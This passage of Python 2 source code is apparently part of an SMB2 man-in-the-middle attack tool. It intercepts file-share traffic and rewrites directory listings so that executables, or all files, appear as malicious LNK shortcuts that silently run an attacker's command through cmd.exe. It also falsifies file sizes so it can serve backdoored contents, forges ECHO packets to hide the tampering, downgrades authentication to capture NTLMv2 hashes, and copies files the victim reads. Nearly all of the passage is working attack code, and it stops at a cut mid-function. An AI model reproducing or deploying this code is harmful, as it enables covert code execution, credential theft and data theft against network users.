944 | fileInfo['AllocationSize'] = int(fileInfo['EndOfFile'] + ((8 - (fileInfo['EndOfFile'] % 8)) % 8)) 945 | fileInfo['NextEntryOffset'] = len(str(fileInfo)) + ((8 - (len(str(fileInfo)) % 8)) % 8) 946 | 947 | # Add to the injected files tracker 948 | directoryName = self.REQUEST_TRACKER[packet['MessageID']].FILE_NAME 949 | if(directoryName == "." or directoryName == ".\\"): 950 | self.INJECTED_FILE_TRACKER[fileRequestStruct.FILE_NAME] = fileRequestStruct 951 | else: 952 | self.INJECTED_FILE_TRACKER[str(directoryName + "\\" + fileRequestStruct.FILE_NAME)] = fileRequestStruct 953 | 954 | self.logger.info("Backdooring file size details for " + directoryName + "\\" + fileRequestStruct.FILE_NAME) 955 | 956 | buff += str(fileInfo) 957 | buff += str('\x00' * ((8 - (len(str(fileInfo)) % 8)) % 8)) 958 | data = data[nextOffset:] 959 | continue 960 | except Exception, e: 961 | m = self.logger.error(str(traceback.format_exc())) 962 | self.logger.error("[SMB2_Lib::findResp_backdoorFileNameModifyListing] " + str(m)) 963 | break 964 | # Do math and pack it up 965 | resp['Buffer'] = str(buff) + ('\x00' * ((8 - (len(str(buff)) % 8)) % 8)) 966 | resp['_Buffer'] = len(str(buff)) + ((8 - (len(str(buff)) % 8)) % 8) 967 | resp['OutputBufferLength'] = len(str(buff)) + ((8 - (len(str(buff)) % 8)) % 8) 968 | packet['Data'] = str(resp) 969 | return packet 970 | # Swap out the size details of targeted files, by their name, in a directory listing. 971 | def findResp_backdoorFileExtensionModifyListing(self, packet, infoType): 972 | targetList = [] 973 | # For every file we are backdooring, check if it's in this directory listing 974 | for extension, fileStruct in self.BACKDOOR_EXT_SWAP_LIBRARY.iteritems(): 975 | targetList.append(extension) 976 | 977 | if(packet['Status'] == nt_errors.STATUS_NO_MORE_FILES): 978 | return packet 979 | resp = SMB2QueryDirectory_Response(packet['Data']) 980 | # Grab a copy for editing 981 | data = copy.deepcopy(resp['Buffer']) 982 | #If there's no data for some reason, fall back 983 | if(len(str(data)) == 0): 984 | return packet 985 | nextOffset = 1 986 | buff = '' 987 | while nextOffset != 0: 988 | try: 989 | fileInfo = None 990 | inject = None 991 | if(infoType == FILEID_BOTH_DIRECTORY_INFORMATION): 992 | fileInfo = smb.SMBFindFileIdBothDirectoryInfo(smb.SMB.FLAGS2_UNICODE) 993 | fileInfo.fromString(data) 994 | inject = copy.deepcopy(fileInfo) 995 | elif(infoType == FILE_BOTH_DIRECTORY_INFORMATION): 996 | fileInfo = smb.SMBFindFileBothDirectoryInfo(smb.SMB.FLAGS2_UNICODE) 997 | fileInfo.fromString(data) 998 | inject = copy.deepcopy(fileInfo) 999 | ## TODO: Add more infoType handlers 1000 | else: 1001 | self.logger.info("[SMB2_Lib::findResp_backdoorFileNameModifyListing] infoType not recognized (" + str(infoType) + ")") 1002 | return packet 1003 | 1004 | nextOffset = fileInfo['NextEntryOffset'] 1005 | 1006 | tmp = fileInfo['FileName'].decode("utf-16-le").encode("utf-8") 1007 | ext = tmp[tmp.rfind(".", 0, len(tmp))+1:].lower() 1008 | 1009 | if(ext in targetList): 1010 | fileRequestStruct = self.BACKDOOR_EXT_SWAP_LIBRARY[ext] 1011 | 1012 | fileRequestStruct.FILE_NAME = fileInfo['FileName'].decode("utf-16-le").encode("utf-8") 1013 | fileInfo['EndOfFile'] = int(fileRequestStruct.FILE_BYTE_SIZE) # File does not need to be in unicode 1014 | fileInfo['AllocationSize'] = int(fileInfo['EndOfFile'] + ((8 - (fileInfo['EndOfFile'] % 8)) % 8)) 1015 | fileInfo['NextEntryOffset'] = len(str(fileInfo)) + ((8 - (len(str(fileInfo)) % 8)) % 8) 1016 | 1017 | # Add to the injected files tracker 1018 | directoryName = self.REQUEST_TRACKER[packet['MessageID']].FILE_NAME 1019 | if(directoryName == "." or directoryName == ".\\"): 1020 | self.INJECTED_FILE_TRACKER[fileRequestStruct.FILE_NAME] = fileRequestStruct 1021 | else: 1022 | self.INJECTED_FILE_TRACKER[str(directoryName + "\\" + fileRequestStruct.FILE_NAME)] = fileRequestStruct 1023 | 1024 | self.logger.info("Backdooring file size details for " + directoryName + "\\" + fileRequestStruct.FILE_NAME) 1025 | buff += str(fileInfo) 1026 | buff += str('\x00' * ((8 - (len(str(fileInfo)) % 8)) % 8)) 1027 | data = data[nextOffset:] 1028 | 1029 | continue 1030 | 1031 | except Exception, e: 1032 | m = self.logger.error(str(traceback.format_exc())) 1033 | self.logger.error("[SMB2_Lib::findResp_backdoorFileNameModifyListing] " + str(m)) 1034 | break 1035 | # Do math and pack it up 1036 | resp['Buffer'] = str(buff) + ('\x00' * ((8 - (len(str(buff)) % 8)) % 8)) 1037 | resp['_Buffer'] = len(str(buff)) + ((8 - (len(str(buff)) % 8)) % 8) 1038 | resp['OutputBufferLength'] = len(str(buff)) + ((8 - (len(str(buff)) % 8)) % 8) 1039 | packet['Data'] = str(resp) 1040 | return packet 1041 | 1042 | 1043 | ## 1044 | # Replaces any file with an exectuable extension with, instead, lnk with the same name set to run our custom command 1045 | def findResp_lnkSwapExec(self, packet, infoType): 1046 | if(packet['Status'] == nt_errors.STATUS_NO_MORE_FILES): 1047 | return packet 1048 | resp = SMB2QueryDirectory_Response(packet['Data']) 1049 | # Grab a copy for editing 1050 | data = copy.deepcopy(resp['Buffer']) 1051 | #If there's no data for some reason, fall back 1052 | if(len(str(data)) == 0): 1053 | # self.logger.debug("[SMB2_Lib::findResp_lnkSwapAll] No data in the query directory response") 1054 | return packet 1055 | 1056 | nextOffset = 1 1057 | buff = '' 1058 | 1059 | while nextOffset != 0: 1060 | try: 1061 | fileInfo = None 1062 | if(infoType == FILEID_BOTH_DIRECTORY_INFORMATION): 1063 | fileInfo = smb.SMBFindFileIdBothDirectoryInfo(smb.SMB.FLAGS2_UNICODE) 1064 | fileInfo.fromString(data) 1065 | elif(infoType == FILE_BOTH_DIRECTORY_INFORMATION): 1066 | fileInfo = smb.SMBFindFileBothDirectoryInfo(smb.SMB.FLAGS2_UNICODE) 1067 | fileInfo.fromString(data) 1068 | else: 1069 | self.logger.info("Unknown infoType " + hex(infoType) + " returning") 1070 | return packet 1071 | if(fileInfo == None): 1072 | return packet 1073 | if fileInfo == None: 1074 | return packet 1075 | 1076 | nextOffset = fileInfo['NextEntryOffset'] 1077 | 1078 | # It's a folder, move along 1079 | if (fileInfo['ExtFileAttributes'] & smb.SMB_FILE_ATTRIBUTE_DIRECTORY == smb.SMB_FILE_ATTRIBUTE_DIRECTORY): 1080 | #self.logger.info("IT'S A FOLDER DUDE") 1081 | buff += str(fileInfo) 1082 | buff += str('\x00' * ((8 - (len(str(fileInfo)) % 8)) % 8)) 1083 | data = data[nextOffset:] 1084 | continue 1085 | else: 1086 | # If it's an executable file of some sort 1087 | old = fileInfo['FileName'].decode("utf-16-le").encode("utf-8") 1088 | global EXECUTABLE_EXTENSIONS 1089 | if old[old.rfind(".", 0, len(old))+1:].lower() not in EXECUTABLE_EXTENSIONS: 1090 | buff += str(fileInfo) 1091 | buff += str('\x00' * ((8 - (len(str(fileInfo)) % 8)) % 8)) 1092 | data = data[nextOffset:] 1093 | continue 1094 | 1095 | new = (old[:old.rfind(".", 0, len(old))] + ".lnk").encode("utf-16-le") 1096 | badFile = self.genBadLnk(self.info['attackConfig'].LNK_SWAP_EXEC_ONLY) 1097 | 1098 | newStruct = FileRequestStruct() 1099 | newStruct.FILE_NAME = new.decode("utf-16-le").encode("utf-8") 1100 | newStruct.FILE_GUID = ''.join([random.choice(string.letters) for i in range(16)]) 1101 | newStruct.FILE_BYTE_SIZE = int(os.stat(badFile).st_size) 1102 | newStruct.LOCAL_FILE_PATH = badFile 1103 | newStruct.IS_INJECTED_FILE = True 1104 | 1105 | directoryName = self.REQUEST_TRACKER[packet['MessageID']].FILE_NAME 1106 | if(directoryName == "." or directoryName == ".\\"): 1107 | self.INJECTED_FILE_TRACKER[newStruct.FILE_NAME] = newStruct 1108 | else: 1109 | self.INJECTED_FILE_TRACKER[str(directoryName + "\\" + newStruct.FILE_NAME)] = newStruct 1110 | self.FILE_REQUEST_TRACKER[newStruct.FILE_GUID] = newStruct 1111 | 1112 | self.logger.info("LNKSwapping " + fileInfo['FileName'].decode("utf-16-le") + " with " + new.decode("utf-16-le")) 1113 | 1114 | # Generate a bad LNK file 1115 | 1116 | fileInfo['FileName'] = new 1117 | fileInfo['FileNameLength'] = len(new) 1118 | fileInfo['EndOfFile'] = int(os.stat(badFile).st_size) 1119 | fileInfo['AllocationSize'] = int(fileInfo['EndOfFile'] + ((8 - (fileInfo['EndOfFile'] % 8)) % 8)) 1120 | fileInfo['ExtFileAttributes'] = 32 1121 | if(fileInfo['NextEntryOffset'] != 0): 1122 | fileInfo['NextEntryOffset'] = len(str(fileInfo)) + ((8 - (len(str(fileInfo)) % 8)) % 8) 1123 | 1124 | buff += str(fileInfo) 1125 | buff += str('\x00' * ((8 - (len(str(fileInfo)) % 8)) % 8)) 1126 | data = data[nextOffset:] 1127 | 1128 | del(fileInfo) 1129 | 1130 | except Exception, e: 1131 | m = self.logger.error(str(traceback.format_exc())) 1132 | self.logger.error("[SMB2_Lib::findResp_injectFileListing] " + str(m)) 1133 | break 1134 | 1135 | 1136 | resp['Buffer'] = str(buff) + ('\x00' * ((8 - (len(str(buff)) % 8)) % 8)) 1137 | resp['_Buffer'] = len(str(buff)) + ((8 - (len(str(buff)) % 8)) % 8) 1138 | resp['OutputBufferLength'] = len(str(buff)) + ((8 - (len(str(buff)) % 8)) % 8) 1139 | packet['Data'] = str(resp) 1140 | return packet 1141 | # Replaces all files with, instead, lnk with the same name set to run our custom command 1142 | def findResp_lnkSwapAll(self, packet, infoType): 1143 | if(packet['Status'] == nt_errors.STATUS_NO_MORE_FILES): 1144 | # self.logger.debug("[SMB2_Lib::findResp_lnkSwapAll] Hit a no-more-files packet, can't inject on this one") 1145 | return packet 1146 | resp = SMB2QueryDirectory_Response(packet['Data']) 1147 | # Grab a copy for editing 1148 | data = copy.deepcopy(resp['Buffer']) 1149 | #If there's no data for some reason, fall back 1150 | if(len(str(data)) == 0): 1151 | # self.logger.debug("[SMB2_Lib::findResp_lnkSwapAll] No data in the query directory response") 1152 | return packet 1153 | 1154 | nextOffset = 1 1155 | buff = '' 1156 | 1157 | while nextOffset != 0: 1158 | try: 1159 | fileInfo = None 1160 | if(infoType == FILEID_BOTH_DIRECTORY_INFORMATION): 1161 | fileInfo = smb.SMBFindFileIdBothDirectoryInfo(smb.SMB.FLAGS2_UNICODE) 1162 | fileInfo.fromString(data) 1163 | elif(infoType == FILE_BOTH_DIRECTORY_INFORMATION): 1164 | fileInfo = smb.SMBFindFileBothDirectoryInfo(smb.SMB.FLAGS2_UNICODE) 1165 | fileInfo.fromString(data) 1166 | else: 1167 | self.logger.info("Unknown infoType " + hex(infoType) + " returning") 1168 | return packet 1169 | if(fileInfo == None): 1170 | return packet 1171 | if fileInfo == None: 1172 | return packet 1173 | 1174 | nextOffset = fileInfo['NextEntryOffset'] 1175 | 1176 | # It's a folder, move along 1177 | if (fileInfo['ExtFileAttributes'] & smb.SMB_FILE_ATTRIBUTE_DIRECTORY == smb.SMB_FILE_ATTRIBUTE_DIRECTORY): 1178 | #self.logger.info("IT'S A FOLDER DUDE") 1179 | buff += str(fileInfo) 1180 | buff += str('\x00' * ((8 - (len(str(fileInfo)) % 8)) % 8)) 1181 | data = data[nextOffset:] 1182 | continue 1183 | else: 1184 | 1185 | old = fileInfo['FileName'].decode("utf-16-le").encode("utf-8") 1186 | new = (old[:old.rfind(".", 0, len(old))] + ".lnk").encode("utf-16-le") 1187 | badFile = self.genBadLnk(self.info['attackConfig'].LNK_SWAP_ALL) 1188 | 1189 | newStruct = FileRequestStruct() 1190 | newStruct.FILE_NAME = new.decode("utf-16-le").encode("utf-8") 1191 | newStruct.FILE_GUID = ''.join([random.choice(string.letters) for i in range(16)]) 1192 | newStruct.FILE_BYTE_SIZE = int(os.stat(badFile).st_size) 1193 | newStruct.LOCAL_FILE_PATH = badFile 1194 | newStruct.IS_INJECTED_FILE = True 1195 | 1196 | directoryName = self.REQUEST_TRACKER[packet['MessageID']].FILE_NAME 1197 | if(directoryName == "." or directoryName == ".\\"): 1198 | self.INJECTED_FILE_TRACKER[newStruct.FILE_NAME] = newStruct 1199 | else: 1200 | self.INJECTED_FILE_TRACKER[str(directoryName + "\\" + newStruct.FILE_NAME)] = newStruct 1201 | self.FILE_REQUEST_TRACKER[newStruct.FILE_GUID] = newStruct 1202 | 1203 | self.logger.info("LNKSwapping " + fileInfo['FileName'].decode("utf-16-le") + " with " + new.decode("utf-16-le")) 1204 | 1205 | # Generate a bad LNK file 1206 | 1207 | fileInfo['FileName'] = new 1208 | fileInfo['FileNameLength'] = len(new) 1209 | fileInfo['EndOfFile'] = int(os.stat(badFile).st_size) 1210 | fileInfo['AllocationSize'] = int(fileInfo['EndOfFile'] + ((8 - (fileInfo['EndOfFile'] % 8)) % 8)) 1211 | fileInfo['ExtFileAttributes'] = 32 1212 | if(fileInfo['NextEntryOffset'] != 0): 1213 | fileInfo['NextEntryOffset'] = len(str(fileInfo)) + ((8 - (len(str(fileInfo)) % 8)) % 8) 1214 | 1215 | # del(fileInfo) 1216 | 1217 | buff += str(fileInfo) 1218 | buff += str('\x00' * ((8 - (len(str(fileInfo)) % 8)) % 8)) 1219 | data = data[nextOffset:] 1220 | 1221 | del(fileInfo) 1222 | 1223 | except Exception, e: 1224 | m = self.logger.error(str(traceback.format_exc())) 1225 | self.logger.error("[SMB2_Lib::findResp_injectFileListing] " + str(m)) 1226 | break 1227 | 1228 | 1229 | resp['Buffer'] = str(buff) + ('\x00' * ((8 - (len(str(buff)) % 8)) % 8)) 1230 | resp['_Buffer'] = len(str(buff)) + ((8 - (len(str(buff)) % 8)) % 8) 1231 | resp['OutputBufferLength'] = len(str(buff)) + ((8 - (len(str(buff)) % 8)) % 8) 1232 | packet['Data'] = str(resp) 1233 | return packet 1234 | 1235 | 1236 | 1237 | 1238 | # This generates a simple SMB2 "ECHO" packet 1239 | # to send to the server - keeping the message_id's 1240 | # in sync while we feed the victim a fake file/info. 1241 | # That way, when they eventually talk to each other 1242 | # again, they have the same ID's and no clude that 1243 | # we messed with them. 1244 | def generateEchoRequest(self, packet): 1245 | newPkt = SMB2Packet() 1246 | newPkt['Command'] = SMB2_ECHO 1247 | newPkt['Flags'] = 0 1248 | if self.SESSION_SIGNED and self.KNOWN_KEY != None: 1249 | newPkt['Flags'] = SMB2_FLAGS_SIGNED 1250 | newPkt['MessageID'] = copy.deepcopy(packet['MessageID']) 1251 | newPkt['NextCommand'] = 0 1252 | newPkt['TreeID'] = copy.deepcopy(packet['TreeID']) 1253 | newPkt['SessionID'] = copy.deepcopy(packet['SessionID']) 1254 | echo = SMB2Echo() 1255 | newPkt['Data'] = str(echo) 1256 | return newPkt 1257 | 1258 | 1259 | 1260 | 1261 | # Creates a malicious LNK and stores it somewhere 1262 | # NOTICE: All credit goes to LnkUP author PlazMaz 1263 | # since I copied a lot of his code into this 1264 | def create_for_path(self, path, isdir): 1265 | from datetime import datetime 1266 | now = datetime.now() 1267 | return { 1268 | 'type': pylnk.TYPE_FOLDER if isdir else pylnk.TYPE_FILE, 1269 | 'size': 272896, 1270 | 'created': now, 1271 | 'accessed': now, 1272 | 'modified': now, 1273 | 'name': path.split('\\')[0] 1274 | } 1275 | def for_file(self, target_file, lnk_name=None): 1276 | # self.logger.info("Creating lnk...") 1277 | lnk = pylnk.create(lnk_name) 1278 | 1279 | levels = target_file.split('\\') 1280 | elements = [levels[0]] 1281 | for level in levels[1:-1]: 1282 | segment = self.create_for_path(level, True) 1283 | elements.append(segment) 1284 | segment = self.create_for_path(levels[-1], False) 1285 | elements.append(segment) 1286 | lnk.shell_item_id_list = pylnk.LinkTargetIDList() 1287 | lnk.shell_item_id_list.items = elements 1288 | # self.logger.info("Created! : " + lnk_name) 1289 | return pylnk.from_segment_list(elements, lnk_name) 1290 | def getIconPath(self, ext): 1291 | knownPaths = { 1292 | "doc" : ["C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WORDICON.EXE", 9], 1293 | "docx" : ["C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WORDICON.EXE", 9] 1294 | 1295 | # "ppt" : "", 1296 | # "pptx" : "", 1297 | # "xls" : "", 1298 | # "xlsx" : "", 1299 | # "txt" : "", 1300 | 1301 | # "pdf" : "", 1302 | # "msg" : "", 1303 | # "zip" : "", 1304 | 1305 | # "png" : "", 1306 | # "jpeg" : "", 1307 | # "jpg" : "", 1308 | # "mp3" : "", 1309 | # "mp4" : "", 1310 | 1311 | # "ini" : "", 1312 | # "html" : "", 1313 | # "htm" : "", 1314 | # "js" : "", 1315 | # "vb" : "", 1316 | # "vbs" : "", 1317 | # "bat" : "", 1318 | # "com" : "", 1319 | # "cmd" : "", 1320 | # "reg" : "", 1321 | 1322 | # "exe" : "", 1323 | # "msi" : "", 1324 | # "dll" : "", 1325 | # "asp" : "", 1326 | # "aspx" : "", 1327 | 1328 | # "war" : "", 1329 | 1330 | # "FOLDER" : "%SystemRoot%\\System32\\imageres.dll" 1331 | } 1332 | if ext in knownPaths: 1333 | return knownPaths[ext] 1334 | else: 1335 | return None 1336 | def genBadLnk(self, COMMAND_STRING): 1337 | badLnk = tempfile.NamedTemporaryFile(delete = False) 1338 | filepath = '{}/{}'.format(os.getcwd(), badLnk.name) 1339 | link = self.for_file(r'C:\Windows\System32\cmd.exe', badLnk.name) 1340 | link.arguments = '/c start /b ' + COMMAND_STRING 1341 | link._set_window_mode(pylnk.WINDOW_MINIMIZED) 1342 | 1343 | link.save(badLnk.name) 1344 | 1345 | # self.logger.info("Bad LNK created: " + badLnk.name) 1346 | 1347 | return badLnk.name 1348 | 1349 | 1350 | ## 1351 | # self.CREATE_REQUEST_TRACKER[int(packet['MessageID'])] == The full file name requested to be opened 1352 | # self.FILE_REQUEST_TRACKER[FILE_GUID] == The FileRequestStruct of the file requested 1353 | # self.READ_REQUEST_TRACKER[packet['MessageID']] == The FileRequestStruct from self.FILE_REQUEST_TRACKER 1354 | # self.FILE_INFO_CLASS_TRACKER[packet['MessageID']] == The infotype being requested in the message 1355 | 1356 | # Gets passed the data from the SMBetray(MiTMModule) parseClientRequest function 1357 | def handleRequest(self, rawData): 1358 | # time.sleep(.5) 1359 | try: 1360 | requests = self.splitSMBChainedMessages(rawData) 1361 | for i in range(0, len(requests)): 1362 | ## 1363 | # # Tree connect Request 1364 | # if(requests[i]['Command'] == 3): 1365 | # # Keep track of the requested file/directory 1366 | # # this populates self.CREATE_REQUEST_TRACKER[int(packet['MessageID'])] 1367 | # self.createReq_track(requests[i]) 1368 | 1369 | # Negotiate Session Request 1370 | if(requests[i]['Command'] == 0): 1371 | self.negotiateReq_track(requests[i]) 1372 | pass 1373 | # Session Setup Request 1374 | if(requests[i]['Command'] == 1): 1375 | # 1376 | pass 1377 | # Create Request 1378 | if(requests[i]['Command'] == 5): 1379 | # Keep track of the requested file/directory 1380 | # this populates self.CREATE_REQUEST_TRACKER[int(packet['MessageID'])] 1381 | self.createReq_track(requests[i]) 1382 | # Close Request 1383 | if(requests[i]['Command'] == 6): 1384 | # Keep track of the requested file/directory 1385 | # this populates self.CREATE_REQUEST_TRACKER[int(packet['MessageID'])] 1386 | self.closeReq_track(requests[i]) 1387 | # Read Request 1388 | if(requests[i]['Command'] == 8): 1389 | # Keep track of the requested file/directory 1390 | # this populates self.REQUEST_TRACKER[int(packet['MessageID'])] = FileRequestStruct 1391 | self.readReq_track(requests[i]) 1392 | # Find Request 1393 | if(requests[i]['Command'] == 14): 1394 | # Keep track of the requested file/directory 1395 | # this populates self.REQUEST_TRACKER[int(packet['MessageID'])] = FileRequestStruct 1396 | self.findReq_track(requests[i]) 1397 | # GetInfo Request 1398 | if(requests[i]['Command'] == 16): 1399 | # Keep track of the requested file/directory 1400 | # this populates self.REQUEST_TRACKER[int(packet['MessageID'])] = FileRequestStruct 1401 | self.getInfoReq_track(requests[i]) 1402 | 1403 | ## 1404 | # Session Setup Request 1405 | if(int(requests[i]['Command']) == 1): 1406 | # If this is our first Session Setup 1407 | if len(self.NTLMV2_DATASTORE) == 0 or self.NTLMV2_DATASTORE[-1].RESPONSE_INFO['ntlm'] != '': 1408 | # Handle the ntlmv2 negotaite 1409 | self.sessionSetupReq_NTLMv2_Neg(requests[i]) 1410 | else: 1411 | self.sessionSetupReq_NTLMv2_Auth(requests[i]) 1412 | 1413 | 1414 | 1415 | if(self.KNOWN_KEY == None): 1416 | self.hailMary_keyGeneration(copy.deepcopy(requests[i])) 1417 | 1418 | # If we didn't catch what file is being asked for, move along 1419 | if requests[i]['MessageID'] not in self.REQUEST_TRACKER: continue 1420 | 1421 | ## 1422 | # Read request 1423 | if(int(requests[i]['MessageID']) in self.REQUEST_TRACKER and requests[i]['Command'] == 8): 1424 | # Steal a copy of the file 1425 | self.readReq_passiveSteal(requests[i]) 1426 | 1427 | ## 1428 | # If the connection is insecure, or we know the key, let's go on offence 1429 | if((not self.SESSION_SIGNED) or (self.SESSION_SIGNED and self.KNOWN_KEY != None)): 1430 | # Intercept some sort of request dealing with an injected file 1431 | if(self.REQUEST_TRACKER[int(requests[i]['MessageID'])].IS_INJECTED_FILE): 1432 | self.INJECTION_REQ_DATA[int(requests[i]['MessageID'])] = copy.deepcopy(requests[i]) 1433 | requests[i] = self.generateEchoRequest(requests[i]) 1434 | continue 1435 | 1436 | # Intercept read requests for files to be backdoored 1437 | if(self.REQUEST_TRACKER[int(requests[i]['MessageID'])].IS_BACKDOOR_TARGET): 1438 | self.BACKDOOR_REQ_DATA[int(requests[i]['MessageID'])] = copy.deepcopy(requests[i]) 1439 | requests[i] = self.generateEchoRequest(requests[i]) 1440 | continue 1441 | 1442 | 1443 | 1444 | 1445 | # Rebuild the stacked packets 1446 | return self.restackSMBChainedMessages(requests) 1447 | 1448 | except Exception, e: 1449 | self.logger.error("[SMB2_Lib::handleRequest] " + str(traceback.format_exc())) 1450 | return rawData 1451 | # Gets passed the data from the SMBetray(MiTMModule) parseServerResponse function 1452 | def handleResponse(self, rawData): 1453 | # time.sleep(.5) 1454 | try: 1455 | responses = self.splitSMBChainedMessages(rawData) 1456 | for i in range(0, len(responses)): 1457 | ## 1458 | # Negotiate Session Response 1459 | if(responses[i]['Command'] == 0): 1460 | # 1461 | self.negotiateResp_track(responses[i]) 1462 | # Create request file response 1463 | if(responses[i]['Command'] == 5 and responses[i]['Status'] == STATUS_SUCCESS): 1464 | # Create response 1465 | self.createResp_track(responses[i]) 1466 | # Session Setup Response 1467 | if(responses[i]['Command'] == 1 and responses[i]['Status'] == STATUS_SUCCESS): 1468 | # Session Setup Response 1469 | self.sessionSetupResp_track(responses[i]) 1470 | 1471 | 1472 | 1473 | #<------PRE AUTHENTICATION SECTION ------------------------------------------------------------------------------># 1474 | 1475 | ## 1476 | # Negotiate Response - Auth mechanism downgrade 1477 | if(responses[i]['Command'] == 0 and self.info['attackConfig'].AUTHMECH_DOWNGRADE): 1478 | # They are going to use SMB 3.1.1, don't do it 1479 | if SMB2_DIALECT_311 in self.CLIENT_INFO.SUPPORTED_DIALECTS and SMB2_DIALECT_311 in self.SERVER_INFO.SUPPORTED_DIALECTS: 1480 | if not self.info['attackConfig'].AUTHMECH_DOWNGRADE_K311: 1481 | self.logger.info("[Warning] Cannot downgrade 3.1.1 auth mechanisms without killing connection. Use the --K311 flag to override") 1482 | else: 1483 | self.logger.info("[Notice: K311] Downgrading SMB 3.1.1 to NTLMv2 (this will kill connection after auth, but we still get the hash)") 1484 | responses[i] = self.negotiateResp_authDowngrade(responses[i]) 1485 | else: 1486 | # SMB 3.1.1 is the only one that protects against auth downgrade attacks (except W10/2016 against \\*\SYSVOL and \\*\NETLOGON) 1487 | responses[i] = self.negotiateResp_authDowngrade(responses[i]) 1488 | 1489 | # Session Setup Response - authentication capture/breaking 1490 | if(int(responses[i]['Command']) == 1): 1491 | # Session setup NTLMv2 challenge 1492 | if responses[i]['Status'] == nt_errors.STATUS_MORE_PROCESSING_REQUIRED: 1493 | # Handle the ntlmv2 challenge 1494 | self.sessionSetupResp_NTLMv2_Chal(responses[i]) 1495 | # Session setup complete 1496 | if(responses[i]['Status'] == STATUS_SUCCESS and self.KNOWN_KEY == None): 1497 | # Check for kerberos mutual auth 1498 | self.sessionSetupResp_KerberosMututal(responses[i]) 1499 | # Placeholder, currently this method doesn't do anything 1500 | self.sessionSetupResp_NTLMv2_AuthResp(responses[i]) 1501 | 1502 | # All file based attacks are below this line 1503 | if responses[i]['MessageID'] not in self.REQUEST_TRACKER: continue 1504 | 1505 | if self.KNOWN_KEY == None: 1506 | self.hailMary_keyGeneration(copy.deepcopy(responses[i])) 1507 | 1508 | #<------POST AUTHENTICATION SECTION ------------------------------------------------------------------------------># 1509 | 1510 | ## 1511 | # Read response - steal a copy of the file 1512 | if(responses[i]['Command'] == 8 and responses[i]['Status'] == STATUS_SUCCESS and self.info['attackConfig'].PASSIVE_OUTPUT_DIR != None): 1513 | self.readResp_passiveSteal(responses[i]) 1514 | 1515 | 1516 | ## 1517 | # If it's an insecure session, or we know the key 1518 | if(self.SESSION_SIGNED == False or (self.KNOWN_KEY != None)): 1519 | 1520 | # If we're completing a full masquarade of serving up faked/backdoored/modded files or directories 1521 | if responses[i]['MessageID'] in self.INJECTION_REQ_DATA: 1522 | pkt = self.INJECTION_REQ_DATA[int(responses[i]['MessageID'])] 1523 | rspPkt = SMB2Packet() 1524 | rspPkt['CreditCharge'] = pkt['CreditCharge'] 1525 | rspPkt['Status'] = 0 #Success 1526 | rspPkt['Command'] = pkt['Command'] 1527 | rspPkt['CreditRequestResponse'] = pkt['CreditRequestResponse'] 1528 | rspPkt['Flags'] = pkt['Flags'] | SMB2_FLAGS_SERVER_TO_REDIR 1529 | rspPkt['NextCommand'] = 0 1530 | rspPkt['MessageID'] = pkt['MessageID'] 1531 | rspPkt['Reserved'] = pkt['Reserved'] 1532 | rspPkt['TreeID'] = pkt['TreeID'] 1533 | rspPkt['SessionID'] = pkt['SessionID'] 1534 | 1535 | #Create request file - grab the name of the file we're observing 1536 | if(pkt['Command'] == 5): 1537 | rspPkt['Data'] = self.createResp_injectFile(pkt, self.REQUEST_TRACKER[int(responses[i]['MessageID'])]) 1538 | responses[i] = rspPkt 1539 | #Close request file 1540 | if(pkt['Command'] == 6): 1541 | rspPkt['Data'] = self.closeResp_injectFile() 1542 | responses[i] = rspPkt 1543 | # 11 - FSCTL_CREATE_OR_GET_OBJECT_ID 1544 | if(pkt['Command'] == 11): 1545 | # Make shift solution for FSCTL_CREATE_OR_GET_OBJECT_ID 1546 | # SMB2Ioctl_Response() 1547 | rspPkt['Data'] = unhexlify("31000000c0000900160e00000800000051000000080000007000000000000000700000004000000000000000000000009ce53f462275e81180b7000c295098738404d16f300ae54fafe4750200e2ce8e9ce53f462275e81180b7000c2950987300000000000000000000000000000000") 1548 | responses[i] = rspPkt 1549 | #GetInfo request 1550 | if(pkt['Command'] == 16): 1551 | fileSize = int(self.REQUEST_TRACKER[int(responses[i]['MessageID'])].FILE_BYTE_SIZE) 1552 | rspPkt['Data'] = self.getInfoResp_injectFile(pkt, self.REQUEST_TRACKER[int(responses[i]['MessageID'])]) 1553 | responses[i] = rspPkt 1554 | #Read request 1555 | if(pkt['Command'] == 8): 1556 | rspPkt['Data'] = self.readResp_injectFile(pkt, self.REQUEST_TRACKER[int(responses[i]['MessageID'])]) 1557 | responses[i] = rspPkt 1558 | 1559 | # If we're signing stuff, then let's sign it 1560 | if(self.SESSION_SIGNED and self.KNOWN_KEY != None): 1561 | rspPkt['Flags'] |= SMB2_FLAGS_SIGNED 1562 | rspPkt['Signature'] = self.KNOWN_KEY.sign(rspPkt) 1563 | 1564 | # If we're backdooring/swapping file content 1565 | if responses[i]['MessageID'] in self.BACKDOOR_REQ_DATA: 1566 | pkt = self.BACKDOOR_REQ_DATA[int(responses[i]['MessageID'])] 1567 | rspPkt = SMB2Packet() 1568 | rspPkt['CreditCharge'] = pkt['CreditCharge'] 1569 | rspPkt['Status'] = 0 #Success 1570 | rspPkt['Command'] = pkt['Command'] 1571 | rspPkt['CreditRequestResponse'] = pkt['CreditRequestResponse'] 1572 | rspPkt['Flags'] = pkt['Flags'] | SMB2_FLAGS_SERVER_TO_REDIR 1573 | rspPkt['NextCommand'] = 0 1574 | rspPkt['MessageID'] = pkt['MessageID'] 1575 | rspPkt['Reserved'] = pkt['Reserved'] 1576 | rspPkt['TreeID'] = pkt['TreeID'] 1577 | rspPkt['SessionID'] = pkt['SessionID'] 1578 | 1579 | #Create request file - grab the name of the file we're observing 1580 | if(pkt['Command'] == 5): 1581 | rspPkt['Data'] = self.createResp_injectFile(pkt, self.REQUEST_TRACKER[int(responses[i]['MessageID'])]) 1582 | responses[i] = rspPkt 1583 | #Close request file 1584 | if(pkt['Command'] == 6): 1585 | rspPkt['Data'] = self.closeResp_injectFile() 1586 | responses[i] = rspPkt 1587 | # 11 - FSCTL_CREATE_OR_GET_OBJECT_ID 1588 | if(pkt['Command'] == 11): 1589 | # Make shift solution for FSCTL_CREATE_OR_GET_OBJECT_ID 1590 | rspPkt['Data'] = unhexlify("31000000c0000900160e00000800000051000000080000007000000000000000700000004000000000000000000000009ce53f462275e81180b7000c295098738404d16f300ae54fafe4750200e2ce8e9ce53f462275e81180b7000c2950987300000000000000000000000000000000") 1591 | responses[i] = rspPkt 1592 | #GetInfo request 1593 | if(pkt['Command'] == 16): 1594 | rspPkt['Data'] = self.getInfoResp_injectFile(pkt, self.REQUEST_TRACKER[int(responses[i]['MessageID'])]) 1595 | responses[i] = rspPkt 